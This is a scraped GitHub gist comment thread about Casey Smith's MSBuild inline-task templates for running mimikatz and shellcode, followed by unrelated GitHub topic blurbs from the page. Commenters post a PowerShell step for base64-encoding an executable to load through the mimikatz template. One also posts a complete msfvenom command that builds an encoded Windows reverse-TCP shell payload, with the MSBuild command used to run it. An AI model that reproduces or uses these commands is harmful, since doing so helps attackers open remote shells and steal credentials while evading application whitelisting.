Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
More details:
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
More details:
The question is regarding the" executes mimikatz.xml" template.
I first base64 the executable I want to load, as follows.
"$fileName = "executable"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")"
Then, I understand that I should gzip compress the base64 string above. (Am I correct?)
Finally, I copy paste the gzip compressed string but I always get " error MSB4018: System.IO.EndOfStreamException: Unable to read beyond the end of the stream.\r"
Can you please describe how you create the compressed exe?
Hi,
I am trying to get executes shellcode.xml
to work on my system but I am running into System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.
error
I have tried the command with the /p:GenerateBuildInfoConfigFile=false
flag as well
The command that I am using to run msbuild is MSBuild.exe file.csproj /p:GenerateBuildInfoConfigFile=false
My shellcode is generated with the following msfvenom command --> msfvenom -p windows/shell_reverse_tcp -a x86 lhost=<mylhost> lport=<mylport> --format csharp --bad-chars '\x20\x0a\xff' -e x86/shikata_ga_nai -i 10 -v innocentcode -o file.csproj
EDIT:
Also tried it with executes x64 shellcode.xml
and it gives me the same error message
Here is the addition of the msfvenom generated shellcode in executes x64 shellcode.xml
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.